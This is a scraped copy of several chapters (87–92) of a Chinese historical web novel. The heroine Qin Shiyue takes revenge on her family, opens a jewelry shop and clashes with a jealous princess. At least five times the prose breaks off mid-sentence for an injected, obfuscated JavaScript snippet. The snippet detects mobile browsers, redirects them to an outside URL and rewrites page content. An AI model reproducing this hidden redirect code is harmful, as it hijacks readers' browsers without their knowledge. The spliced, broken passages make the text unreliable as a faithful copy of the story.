其实,有没有这些外力,秦时月都可以毫无顾忌的出手,毕竟如今的她,早不是前世那个任人宰割的人了。 甚至只要她想,她可以有一万种方法弄死那些伤害过她的人。 但长公主的话还是让她感受到了久违的温暖,这种感觉,还不错。 此时,秦可云已经被陆明昭送回了定远侯府,陆夫人接到消息匆匆赶了过去,看到秦可云的样子险些晕厥过去。 “这是怎么回事?” 秦可云呜呜咽咽的哭个不停,最后还是陆明昭黑着脸将宴会上的事简单说了一遍。 陆夫人当场生了好大的气,立刻唤来两个嬷嬷将秦可云压了下去,无论秦可云怎么求饶,都换不来陆夫人和陆明昭的一丝怜惜。 “娘早就说过,这等娼妇要不得,你倒好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老夫人身边的丫鬟见状吓白了脸,连忙冲过去扶住她,不断轻抚着她的前胸为她顺气。 秦时月却像是没看到般,仍旧坐在那里,笑盈盈的看着这一切,“祖母年岁大了,还是莫要动怒的好,万一有个好歹,父亲怪罪下来,时月可担当不起。” 老夫人此时刚舒服些,顿时被她气的再次浑身发抖,“孽障,你这个孽障!你,你今日办这赏花宴,究竟是何居心?” 她是老了,不是糊涂了,她如今算是看明白了,这个孽障分明是故意的! 秦时月无辜的眨眨眼,“祖母这话从何说起?时月不过是看自己的名声受损,想着挽回一下名声。再者就是,府中许久没有热闹过了,这才办了这场赏花宴,祖母若是不高兴,以后时月不办就是了。” “你!”老夫人被她气的说不出话来,指着她的手不断颤抖。 嬷嬷见状,生怕老夫人被气个好歹,连忙上前劝解。 老夫人长出口气,寒着脸道,“好好好,如今你大了,有本事了。可你别说祖母没提醒你,你是长乐侯府嫡长女,搞臭了长乐侯府的名声,你也落不了好!” 秦时月浑不在意,站起身整理了下衣摆,声音平静,“长乐侯府是如何得来的,祖母比我更清楚,我在,长乐侯府在,我好,长乐侯府好,让我不快,长乐侯府,便没有存在的意义。” 她声音不大,却字字铿锵,老夫人的脸色瞬间变得煞白。 老夫人的身体不断颤抖,压根不敢相信这是从秦时月口中说出的话。 秦时月却不再看她,转身向门口走去,走到门口时突然停下脚步。 她没有回头,只是冷冷说道,“祖母年岁大了,既然喜静,往后便不必踏出佛堂了,这侯府有时月为您看管着,必不会让它太早没落。” 说完,她头也不回的离开了老夫人的院子。 看着她离开的背影,老夫人直觉有什么从自己的掌握脱离了,眼睛一翻,彻底昏死过去。 老夫人的院子顿时陷入了一团混乱。 秦时月回到自己的院子后便命小青为她准备热水。 今日劳累了一天,她想早点洗漱完上床。 泡在浴桶里,秦时月闭目养神,脑海里不自觉的浮现出今日的一幕幕。 秦可云名声尽毁,日后算是彻底毁了,她肚子里的孩子……罢了,稚子无辜,她能不能平安生下来,全看她自己的造化。 至于老夫人,今日被她这么一气,不知是沉不住气会对她出手,还是会老实本分的吃斋念佛。 不过以她对老夫人的了解,那位佛口蛇心的老虔婆,怕是不会安分。 想到这,秦时月唤来小荷,让她去将春兰、夏竹叫来。 有些事,她不得不提前安排…… 而真正的好戏,还在后头! 卓家。 “父亲,我派出的人生不见人死不见尸,想来是全军覆没了。” 卓天成沉着脸,眼神不明。 卓老爷子的脸色也不好看。 今日全京城已经传遍了,秦时月办宴,长公主、太子、辰王全部到场,这是多大的荣耀?怕是公主皇子都不见得能请到这三位! 一想到这些,卓老爷子就觉得喉头堵的厉害。 若说先前,为了他的女儿卓静,外孙秦怀瑾,他是想弄死秦时月的,可如今……他犹豫了。 卓家秦家原本就是亲家,所谓一人得道鸡犬升天,如今秦时月这般受宠,他们卓家说不定也能跟着沾光。 大概是看出了卓老爷子的犹豫,卓天成脸色一沉,拧眉提醒,“父亲,您切莫被表象欺骗了,您忘了小妹的话?秦可云是天命之女,她秦时月,不过是个灾星……” “够了!”卓老爷子脸色一沉。 天命之女? 他之前也坚信秦可云是天命之女,可现如今她不过是定远侯府一个**的小妾,不仅如此,今日她的壮举已经传遍京城,这等娼妇怎么可能是天命之女!? “父亲,我知道您心里存疑,依我看,小妹不会骗咱们,一定是秦时月那个灾星将秦可云害成了这样,一旦秦时月消失, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566131|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦可云的命运一定会回归正途,到那时候,咱们卓家才能真的沾光!” 卓老爷子闻言,顿时沉默不语。 天成说的,不无道理。 秦可云的出现,确实让卓家也跟着风光过一段时间。 可如今,她声名狼藉,腹中孩子也不知是男是女,这样的她,当真是天命之女? “父亲,不如这样,咱们想办法将小妹接回来,再请名医为她诊治,我相信,对秦时月、秦可云的命格,她这个做母亲的最是清楚,只要她清醒过来,一定能为咱们解惑。” “现在看,似乎只有这一个办法了。”卓老爷子无奈,只能答应。 …… “小,小姐。”春兰、夏竹拘谨的垂头站在屏风后,声音里带着几分恐慌,“我们没有乱说,全都是按您的吩咐向老夫人汇报的。” “我知道,你们做的很好。”秦时月没有睁眼,心里却很愉悦,“你们别怕,我算着日子,差不多该给你们解药了。小荷。” 小荷向前一步,抬手递上一个小盒子,“这是小姐赏的。” “多谢小姐。”春兰、夏竹嘴里发苦,面上却要装着惊喜,不断道谢。 今日老夫人被气成什么样了,她们都看在眼里,那还是小姐的亲祖母,她们呢?不过一介下人…… “不用谢,今日叫你们来,是有事要交代。”秦时月抬眸,潋滟水眸透过屏风看向她们,“祖母今日被我气的不轻,她老人家怕是不会轻易消气,你们,该知道怎么做吧?” “小姐放心,老夫人那边但凡有什么风吹草动,我们一定第一时间过来禀报。” 两人被吓的不轻,连忙承诺。 秦时月满意的笑笑,然后让小荷给她们一人一块碎银。 “你们放心,跟着我,我不会让你们吃亏的。只要你们忠心耿耿,好处自然少不了你们的。” 春兰、夏竹跟在老夫人身边多年,虽然也偶有赏赐,但至多也就几十枚铜钱。 秦时月虽然为人狠辣,但没想到她出手这么大方。 第88章 罚俸禄 两人攥着银子,眼底的恐惧逐渐消失,取而代之的是兴奋。 她们还什么都没做,大小姐就各赏了一两银子,大小姐简直就是她们的再生父母! “谢谢大小姐赏赐。”几人纷纷给秦时月磕头谢恩。 “管好你们的嘴,记住什么该说,什么不该说。”秦时月扔下一句话,便让她们离开了。 … 秦可云的事情说大不大,说小也不小,若是大家闭口不言也就罢了,可言官们却不可能闭起嘴巴,装作完全不知情。 正巧,有些大臣与定远侯积怨已深,得知这个消息后立刻在朝堂上说了出来,目的就是让皇上知道,好让定远侯失去皇帝的信任。 “陛下,此事已经传遍了。光天化日朗朗乾,一个小妾,竟然能做出如此腌臜的事情,实在是丢脸,实在是伤风败俗啊。”一个文官率先开口。 一个和定远侯关系不错的武官走出来,对皇上作了个揖,随后反驳道,“丢的又不是赵大人的脸,定远侯都还没说什么呢,你在这作甚?” “就是,定远侯都还没发话呢。”另一个大臣笑道,“我要是定远侯,我也不敢说话,哈哈哈。” 此言一出,朝堂上一片哄笑。 宋墨辰站在一边,静静地听着这些声音,面色不变,眼神满意。 秦姨娘想当众给时月难堪,那他就要定远侯府来承担这一切! 这里面出言的,也两位是宋墨辰的手笔,他只是稍微推波助澜,没想到言官们竟能如此发挥,真是令人舒畅。 这些话都被定远侯听在耳朵里。 他被气的浑身发抖,一个早朝全程黑着脸,却不敢为自己辩驳。 秦可云的事他是一早来皇宫的路上听说的,当时还想着,若不是她怀了身孕,他一定命人将秦可云打死,扔到乱葬岗。 本以为是家里的私事,谁料这些平日里和他关系不错的,上来就触他的眉头! 若陛下听个笑话也就罢了,他最多就是丢脸,可陛下若治他个教子无方,御下不严的罪… “唉,不能把责任全都推在定远侯身上啊,这都是秦家教女无方的错,谁能想到秦可云是这种女子。”一位大臣站出来,突然将话题引到长乐侯府上。 长公主的人也跟着附和道,“就是,都是长乐侯府教女无方,养出了这种货色,要不是他们没教好…” 一时间,朝堂上形成两拨人,他们互相推脱着责任。 而宋墨辰只是站在那里,静静地听着,不发表任何意见。 无论是谁的错,总归他的目的是达到了。 坐在上位的皇上听着这些话语,头疼地闭上了眼。 一旁的大太监江福德察觉到皇上不悦,立即站出来对着文武百官喊了句,“肃静!” 瞬间,大臣们闭上嘴,眼神齐刷刷地看向皇上。 场面安静后,皇上睁开眼,烦躁地看着这一切,最后叹了口气。 “太子,此事你怎么看?”皇上将视线放到宋砚辞身上。 这种小事,他不想理会,可这些大臣们把这小事上升到了国家大事,他实在是没办法坐视不理。 “回父皇,儿臣认为,各位大人们说得都对,他们两家都有责任。”宋砚辞出列,总结性的说道。 “既然都有错,那就各罚半年俸禄,以儆效尤!”皇帝抬手,重重拍了下龙椅,不怒自威地看向众人,“众爱卿认为呢?” “吾皇万岁。”大臣们纷纷下跪。 “退朝!”皇上站起身,挥了挥衣袖,离开。 这长乐侯府也真是,竟然宠爱一个上不得台面的养女,真是给他们胆子了! 下朝后,大臣们并没有停止讨论,他们纷纷扎堆谈论长乐侯府和定远侯府。 宋墨辰从他们身旁经过,丝毫没有理会,相反,走得更快了些。 今日在朝堂上的消息若是告诉时月,她应该会开心一下。 刚出宫门,宋墨辰就迫不及待地上了马。 “知道时月在哪吗?”宋墨辰看了一眼牵马的下人,问道。 “回王爷,不知道,需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566132|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小人去查吗?”下人规矩地回答。 “不必,我自己去。”宋墨辰双腿夹紧马肚子,一个漂亮的拉缰绳,骏马嘶鸣一声,迅速往大街奔去。 他先是去了长乐侯府,此时长乐侯府大门紧闭,不用想也知道原因。 抓来一个下人问到了秦时月的位置,他策马就走,丝毫不留恋。 不一会儿,宋墨辰赶到了天香楼。 此时秦时月正坐在二楼包间内,淡然地看着窗外,品着茶。 见宋墨辰推门而入,秦时月没有起身行礼,而是顺势给他倒了杯。 “等我?”宋墨辰心里高兴,笑着将手上的马鞭放到一旁的小几上,然后走到秦时月对面坐下。 “想着今日朝堂有趣,辰王应该会寻我。”秦时月抬眸,眸光亮晶晶的带着笑。 “聪慧。”宋墨辰勾唇轻笑,接着便将在朝堂上发生的事情全部说了出来。 秦时月并不意外,只是嘴角的笑意加深了些。 上一世自己的死与定远侯府并无太多关系,只是陆明昭当众退婚,算是给长乐侯府增添了几分勇气。 这一世,让他们吃吃丢尽颜面的苦,也算报了上一世的仇… “虽然只是罚了半年俸禄,但定远侯府在父皇心中的形象全然崩塌,陆明昭再想继任侯府,怕是不太容易了。”宋墨辰端起茶杯喝了一口,眸光深深。 陆明昭的眼光真是不怎么样,放着时月这样的珍珠不娶,偏偏看中一颗鱼目,呵,真是有趣。 不过,他也实在该谢谢陆明昭的不娶之恩,若不是他主动放弃,自己不知何时才能像如今这般,和时月如此亲近。 如今的秦可云已经翻不起浪,秦时月没必要再将心思浪费在她身上。 “王爷,可以给我讲讲商贾之道吗?”她看着宋墨辰,突然正经道。 再来天香楼,她发现这里被经营得很好,若是自己也能开一个这种规模的酒楼,想必一定能挣不少钱。 “时月对此感兴趣?”宋墨辰饶有兴趣地打量着她。 第89章 首饰铺子 本朝虽不干涉女子行商,但毕竟没有先例,所以他没想到秦时月会主动和自己打听这个。 “不可以吗?”秦时月反问。 “怎么会。”宋墨辰笑道,随后将自己的生意经全部说了出来。 既然是秦时月问的,那他必然知无不言。 “你想要做什么营生?我可以帮你。”宋墨辰给秦时月斟茶,自然而然的说道。 秦时月摇了摇头,“目前还没想好,而且,我想试着自己来,如果需要殿下帮忙,我不会客气的。” “好,那我就提前恭贺秦掌柜了。”宋墨辰笑道。 在天香楼喝完茶后,秦时月便回了长乐侯府。 回府第一件事就是找芳姨娘。 竟然决定开铺子,那就必须要找个铺子练练手。 长乐侯府虽然没有底蕴,但自己救驾有功,这几年下来,还是攒了点家产的。 “芳姨娘,侯府的那些铺子都在哪些街上呀。”秦时月开门见山,毫不含糊。 闻言,芳姨娘揣测了一下秦时月的心思,然后起身走向身后的衣柜,主动从柜子里拿出一个檀木盒子。 那盒子上着锁,芳姨娘从袖袋里掏出一把钥匙将盒子打开,几张地契和房契瞬间出现在秦时月眼前。 “这些便是侯府的所有产业,但能挣钱的铺子并不多。”芳姨娘叹了口气,示意秦时月自己看。 秦时月拿起那几张房契看了眼,发现店铺都在不起眼的街道上。 “大小姐是想接管铺子?”芳姨娘纠结着问道,眼里带着几分为难。 她不是舍不得这些,只是…她的远儿若想成事儿,就离不开银钱打点,而侯府目前所有的收入,都来自这几间铺子,若秦时月要走… “有这想法。”秦时月点点头,随意翻看着。 芳姨娘虽然不舍,但见识过秦时月的手段,咬咬牙,从里边抽出一张。 “大小姐,这是间首饰铺,是侯府目前收益最好的铺子,如果你想要,可以要这间。”芳姨娘一边笑,一边往秦时月怀里塞,只是笑容有些牵强。 “芳姨娘给我这间铺子,就不怕我父亲知道吗?”秦时月将她所有的表情收入眼底,一边打量地契,一边调侃。 长乐侯除了自私,还爱财如命,若自己拿了他最挣钱的铺子,他怕是会睡不着了。 “哪里的话,你是嫡小姐,侯府的一切本就该是你的。”芳姨娘回道。 她不傻,长乐侯府是如何来的,她心里门儿清,尤其她还指着秦时月帮她坐上侯府主母的位置,区区一个铺子,往后想办法赚出来也就是了。 见芳姨娘这般对待自己,虽然知道其中并非全是真情,但秦时月多多少少是有些感动的。 她将那张地契收好,随后看向芳姨娘,“你放心,我不要这个铺子,我就是想学习一下怎么管理一家店铺。” 这话是真的,她想看看凭自己的能力,是否可以将铺子开得和天香楼那般好。 “芳姨娘放心,以后这些产业,都是你和明远的。” 听到这话,芳姨娘喜上眉梢,甚至控制不住脸上欣喜的表情,立即道谢,“谢谢大小姐。” “咱们是一家人。”秦时月笑笑,起身离开。 有了铺子,秦时月便将全身心投入到学习实践中。 白日里,她会亲自去铺子里查账,并且还会学习如何接待客人、观察客人的喜好。 甚至在闲暇时,还和铺子里一个账房先生学习了查账,她做鬼那些年受东方苑亲自指点,学习能力非凡,不过几日就上手了。 这日,秦时月像往日一样坐在柜台后看账本,春兰突然匆匆忙忙地跑了进来。 “你怎么来了?”秦时月挑挑眉,心里有些许猜测。 “大小姐,不好了。”春兰支支吾吾的,生怕自己来找秦时月报信的事被有心人看到。 “进来说。”秦时月对春兰招了招手,带她去了后院。 “大小姐,老夫人今早见了一个人,没有让任何人伺候,我感觉不对劲。”春兰将自己看到的,一字不漏地说了出来。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566133|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本她要去给老夫人送茶,却发现老夫人亲自接待了一个客人,那客人穿着黑袍,看不清长相,单从身材来看,似乎是个男人。 老夫人私会外男,两人之间必然是相熟的。 “我知道了,你别急,回去继续盯着,有什么事再来告诉我就好。”秦时月眸光微闪,嘴角勾起一抹弧度。 果然和她想的一样,老夫人不甘心大权旁落,这是又要作妖啊。 不过,老夫人见的人会是谁呢? “是,奴婢这就回去。” 春兰离开后,秦时月随手折了一朵开的正艳的花。 心里忍不住暗道:只凭春兰、夏竹,怕是无法接触到更多事,看来,要找点帮手… 她整理了下裙摆,离开了店铺。 辰王府。 听到秦时月来寻自己,正在查阅信件的宋墨辰眼前一亮,立刻让侍书将人请进来。 侍书前脚离开,他后脚便命人上茶,糕点,甚至亲自起身相迎。 “给王爷请安。”秦时月一进门便规规矩矩行礼。 换来的却是宋墨辰紧皱的眉头,“我说过,你我之间不必这般见外,快进来坐。” 秦时月垂眸笑笑,然后大方落座。 “时月今日来可是有事?” “是,我有点事需要你的帮助。”秦时月抬眸看向宋墨辰。 她表情严肃,直言不讳的样子让宋墨辰有些紧张,“是出什么事了吗?别怕,有我在,我定能给你妥善解决。” 秦时月暗暗松口气,只是接下来要说的事,还是让她有点忐忑,“我想借用你的暗卫。” 她知道暗卫对宋墨辰这样的皇室来说意味着什么,但她手边无人可用,能想到的,除了皇后身边的暗卫,就是他的。 担心他多想,她连忙解释,“我是有私用,不用多,一两个就好。” 闻言,宋墨辰突然失笑,随后在秦时月的注视下,直接掏出了随身的令牌。 “王爷…”侍书看到他的动作愣了一下,脸上闪过一丝紧张。 第90章 惹到太后了? 如果只是借一两名暗卫给王妃用并没什么,可这枚令牌可以调动辰王府的所有暗卫,令牌在手,就算秦时月下令诛杀宋墨辰,暗卫也会听令行事。 毫不夸张的说,这枚令牌,便是辰王府的“虎符”。 所以侍书才会如此紧张。 宋墨辰不动声色的瞪了侍书一眼,眼底的警告之意让侍书忙低下头,不敢再吐露半个字。 “这令牌可以调动辰王府的所有暗卫,一会儿你自己挑几个你看得上的。”宋墨辰面色坦然,眸中带笑。 看着手里的令牌,秦时月心中一动。 她不傻,侍书的反应已经告诉了她这枚令牌的重要性。 不过,她无法拒绝。 秦时月攥紧令牌,在心里暗暗发誓,以后,她会创建自己的势力,到那时,她会给宋墨辰更多,更多! 就这样,秦时月挑了两个暗卫回了家。 她不知道的是,还有更多暗卫悄无声息的潜伏在了侯府、揽月园四周,随时守护她的安危,随时等候召唤… 秦时月离开后,侍书终于忍不住将心里话说了出来。 “王爷,小人知道王妃要暗卫定然有要用,您大可以多派几人过去听候王妃的差遣,实在不该…” “本王的一切都是时月的,这番话,本王不想再听到。”宋墨辰淡定的继续翻看信件,声音不大,却透着肃杀之气。 侍书浑身一僵,连忙闭嘴。 另一边,秦时月回到自己的房间后,先是命小荷守在门外,不允许任何人进来,随后才掏出令牌,对着屋内说了一声,“都出来吧。” 眨眼间,两个暗卫从房梁上无声跳下来,直接在秦时月面前跪下。 “你们叫什么?” “回王妃,属下影夜。属下影风。”两人异口同声。 秦时月怔愣一下,小脸蓦的涨红。 他,他们胡乱叫什么?她和宋墨辰还未行大婚,喊的这样张扬,也不怕传出去落人口实! 清清嗓子,秦时月努力保持镇定,“这段时间你们就跟着我,等我处理好手头上的事情,会把你们还给王爷的。” “是!我等听候王妃调遣!” “咳。我需要你们去监视我的父亲和祖母,他们的一举一动,见过谁、说了什么,都要事无巨细的告诉我。” 秦时月话音才落,一个暗卫突然抬头说道,“王妃,方才卓家来人带走了长乐侯夫人。” 他们虽然一直跟在秦时月身边,但其余暗卫已经分布在侯府上下,且他们之间有特殊的联系方式,所以早在第一时间就互通有无了。 秦时月眨巴一下眼,心里忍不住感叹自己的决定。 虽然她只要了两个暗卫,但他们的本事可真不小,没想到他们在来的路上便已经将长乐侯府的事情收进了眼里。 有了他们的帮助,她相信接下来的事,要简单的多。 秦时月笑笑,抬手托着头,眉眼间满是算计。 看来,卓家也耐不住寂寞,想要入场**了。 这样也好,早点下场,早点露出马脚,也省的她一个个防备。 “影夜,你去卓家守着,有动静随时来报,影风,你就辛苦点,盯紧侯府。”秦时月摆摆手,示意他们退下。 “是!”一眨眼,俩人瞬间消失不见。 看着他们训练有素的身法,秦时月不自觉地露出一个微笑。 不过,她还是叹了口气。 没想到卓家现在也会掺和进来,看来,暗卫还是借少了,早知道,她当时就该借用四五位。 日子一天天过去,影夜、影风日日都会向秦时月汇报众人的最新动向,而首饰铺的生意也不错,每日收入可观,远超秦时月刚接手的那段时间。 只是她觉得还不够,挣的钱还是太少了,何时能把一个小小的首饰铺子开成藏金阁、容华阁那种规模才行。 就在秦时月翻看账本的时候,突然想起东方苑和她说过的话。 东方苑说过,在她们那里,大家足不出户就能买到商品,并且还有买一赠一、打折、优惠等促销活动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这些都是她受东方苑启发画出来,交给工匠赶制出来的,成品精美又华贵。 开业当天,秦时月搞了活动,全场商品买二送一,并且凡是进店的女子,都会赠送香囊。 第91章 赵景阳登门,自找不痛快 一时间,“明月芳华”风头无两,几乎是一夜间便在京中打开名声。 当然,除了那些昂贵精美的首饰,秦时月还贴心的购入了一批平价精美的饰品。 这样一来,上到达官贵人,下到平民百姓,都能在她的铺子里挑到适合自己的首饰。 但这些并不足以让她的铺子在短时间内赶超藏金阁和容华阁,所以,她把主意打到了后宫。 第二天一早,秦时月带着小荷和自己亲自设计,监工制成的整套首饰进了宫。 皇后多日不见秦时月,此时一见,立刻拉着她说话,亲密的样子羡煞旁人。 秦时月也讨巧,在皇后提到她的铺子时,立刻让小荷呈上首饰。 皇宫里那些款式虽然华贵精美,但皇后坐在这个位置上多年,宫中的首饰看的有些腻,她甚至也会留意京中最时兴的首饰。 这两日听绘春说“明月芳华”突然受到追捧,先前还觉得好奇,如今发现竟然是未来儿媳的作品,当即喜欢得不得了。 “真是好看。时月,你有心了。”皇后看着首饰,眉眼间全是柔情。 这是一套完全不同于宫内饰品的首饰,由钗环镯组成。 单拿一个钗说,钗头是一只展翅欲飞的凤凰,栩栩如生,凤凰身上镶嵌着几颗上好的宝石,在阳光下熠熠生辉,凤凰周围还点缀着华贵的东珠,精致又不失华贵,更别说其他几件。 一套戴上,不仅不掉价,反而衬托出了皇后的尊贵典雅,母仪天下的风范。 “娘娘喜欢就好。”秦时月站在一旁回应。 “喜欢,当然喜欢的。” “娘娘若是喜欢,下次铺子里上了新品,我一定先给娘娘送来。” 皇后拉着她的小手,越看越满意,“你能嫁给辰儿,是辰儿的福气。绘春,取纸笔来,我要给时月的明月芳华题字。” 她喜欢秦时月,不仅因为她救了自己,不仅因为她是自己的未来儿媳妇,更因为她喜欢她身上这股韧劲儿。 女子行商,原本就比男子艰难的多,而她又是个有才华的,所以,皇后想拉她一把,也算是为她们女子做了点事。 秦时月怔愣一下,立刻叩谢恩典。 她今日进宫,原本只是希望通过皇后娘娘的喜爱,引领宫内宫外的热潮。 可她没想到,今日进宫还有意外之喜! 皇后提完字后便让绘春带下去裱起来,方便秦时月直接挂上。 秦时月又是一阵感动。 随后二人如寻常母女般说了会儿话,直到皇后感到疲惫,秦时月才告退离宫。 路上,小荷抱着皇后娘娘的亲笔,始终处于晕乎乎的状态。 “小姐,咱们这是回府吗?”她呆呆的看着秦时月,到现在都不敢相信发生了什么。 “去长公主府。”秦时月看了眼小荷怀里的锦盒,眉眼弯弯。 今日她准备了两套首饰,一套送给皇后娘娘,另一套,自然是送给长公主。 …… 皇后和长公主对秦时月送的首饰喜爱有加,私下时常佩戴,宫内的娘娘、公主们,宫外的官眷、贵女们看到后,纷纷派人打听。 这才得知,皇后和长公主佩戴的首饰全部出自秦时月之手。 一两日时间,她们便不约而同的冲去了“明月芳华”。 赵景阳听闻京城开了间新的首饰铺子,据说就连宫里的娘娘对铺子里的首饰都爱不释手,便生出了想看看的心思,只是她不知道,这铺子,是秦时月开的。 这日,赵景阳带着下人来到首饰铺,看着琳琅满目的商品,一时间挑花了眼。 就连她这个备受太后宠爱,经常得到赏赐的郡主也不得不承认,这些饰品的做工和样式都是极好的。 就在这时,赵景阳突然了秦时月。 秦时月今日闲来无事,特意来店里看看首饰的销量,顺便找找灵感,谁料正巧碰上了赵景阳。 “时月姐姐?好巧啊,你也是来选首饰的?”赵景阳凑过去,上下打量了秦时月,眼底露出了一丝不屑。 听说“明月芳华”里的东西价值千金,长乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566135|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯府没有底蕴,想来她秦时月也不可能有钱。 见她盯着一个镯子看,赵景阳嘲讽道,“看上那个镯子了?想要吗?你要是求求本郡主,本郡主给你买怎么样?” 秦时月无语又嫌弃地瞪了她一眼。 她之所以会在这里看镯子,是因为她感觉把镯子摆在这个地方无法体现白玉镯子的光泽,刚刚她在想,要不要让掌柜的把镯子挪个位置。 可落在赵景阳眼里,就成了她买不起了。 “还是时月姐姐喜欢那边的?”赵景阳指着对面的平价区,呵呵一笑。 她进门后才发现这里分两个区,彰显身份的高价区,适合平民的低价区。 不过,秦时月高低是侯府嫡女,又是皇后亲封的明月县主,赵景阳的一句话,完全是在打她的脸。 对此,秦时月只是似笑非笑的看着赵景阳。 她之所以忍,不是因为怕,而是觉得从心理年纪出发,赵景阳只是一个小女孩,她又何必跟一个小女孩计较呢? “不过我也挺佩服你的,如今长乐侯府的名声都臭了,你还有脸出来,也不怕被大家笑。时月姐姐,我奉劝你,还是赶紧回家吧,趁现在大家还没注意到你。” 不等秦时月说话,掌柜的突然走了过来,他对着秦时月作了一揖,恭敬打招呼。 赵景阳不敢置信地看着秦时月,又转头看了眼掌柜的。 “你没认错吧?”赵景阳不相信秦时月是首饰铺子的东家,当即变脸。 “我们东家,我怎么可能会认错?”掌柜一脸无语。 “不可能,不可能!”赵景阳不可置信地瞪着秦时月,眼神嫉妒又疯狂。 “你是故意的秦时月!”想到自己刚刚在秦时月面前说了什么,她突然有种无地自容的感觉。 她直勾勾地盯着秦时月,眼里多了一丝杀意! 秦时月没有看她,只是淡然的对掌柜的道,“以后我们店,不做景阳郡主的生意。” “你!”赵景阳愤怒至极,抬手就要向秦时月的脸打去。 第92章 就会告状! 一旁的掌柜的见状,立即护在了秦时月身前。 对方是郡主,他一个老掌柜,根本不敢招惹,唯一能为东家做的,就只有用这具身子护住她。 可预想中的巴掌没有落下,耳边反而传来“哎呦哎呦”的呻吟声。 “你,你对本郡主做了什么?”赵景阳捂着吃痛的手腕,一脸惊恐的看着秦时月。 她只看到秦时月抬了一下手,随后她的手腕就传来针刺般的疼痛,现在更是使不上半点力气。 这让她一下子慌了神。 “没什么,只是帮郡主治疗一下动不动就想掌掴人的毛病,郡主不必谢我。” 秦时月面色不变,嘴角带笑。 做了什么?自然是用银针渡穴的法子给了她点小教训。 她若是还不知悔改,下一次就不止是一针的事了! 赵景阳被气的脸色铁青,可又不敢再上前,只能阴沉着一张脸,命令身边的下人上。 几个下人交换个眼神,抬手就向秦时月冲去。 秦时月并不将他们放在眼里,只是这里位于闹市,又是自己的铺子,她不方便,也舍不得动手。 脸色一沉,她冷哼一声,“我看谁敢!” 见几人停下脚步,她冷冷看向赵景阳,“我是陛下亲封的明月县主,此店有幸得皇后娘娘亲笔提名,我看谁敢在这里动手!” 官大一级压**,可惜,对她秦时月来说,不管用。 赵景阳犹豫了。 有太后撑腰,她并不惧怕皇后,只是,她喜欢宋墨辰,一心想嫁进王府,所以,她不想在皇后心里留下半分不好的印象。 攥攥拳,赵景阳恶狠狠的瞪了秦时月一眼,然后带着下人们离开了。 掌柜的松口气。 本以为将赵景阳赶走,事情便得到了解决。 谁料下午时,御林军突然出现,直接包围了铺子。 此时秦时月正在翻看账本,下一秒就被突然出现的御林军吓了一跳。 “明月县主接旨。”太后身边的大太监轻蔑的扫了她一眼,道。 看到他,秦时月立刻反应过来。 这是打不过,回宫告状了。 呵,幼稚。 想归想,秦时月还是老实下跪,等待大太监宣读懿旨。 “长乐侯府嫡长女秦时月,僭越犯上,挑战皇家威严,特赐二十大板,以示惩戒,钦此!” 秦时月猛地抬头,不敢置信的看向大太监。 “公公,这怕是有什么误会吧?臣女何时僭越犯上,挑战皇家威严了?” 大太监冷笑一声,“有没有误会,县主心里清楚,如今得罪了不该得罪的人,难免要受些皮肉之苦。杂家也是奉命办事的,还望县主不要迁怒杂家。来人,行刑!” 他话音才落,两个宫里的老嬷嬷立刻出列走了过来。 “太后娘娘仁慈,知道县主还是姑娘,为防这些人污了姑娘清白,特命老奴执行。” “我们下手没个轻重,姑娘不想受太多罪,还是配合着点好。” 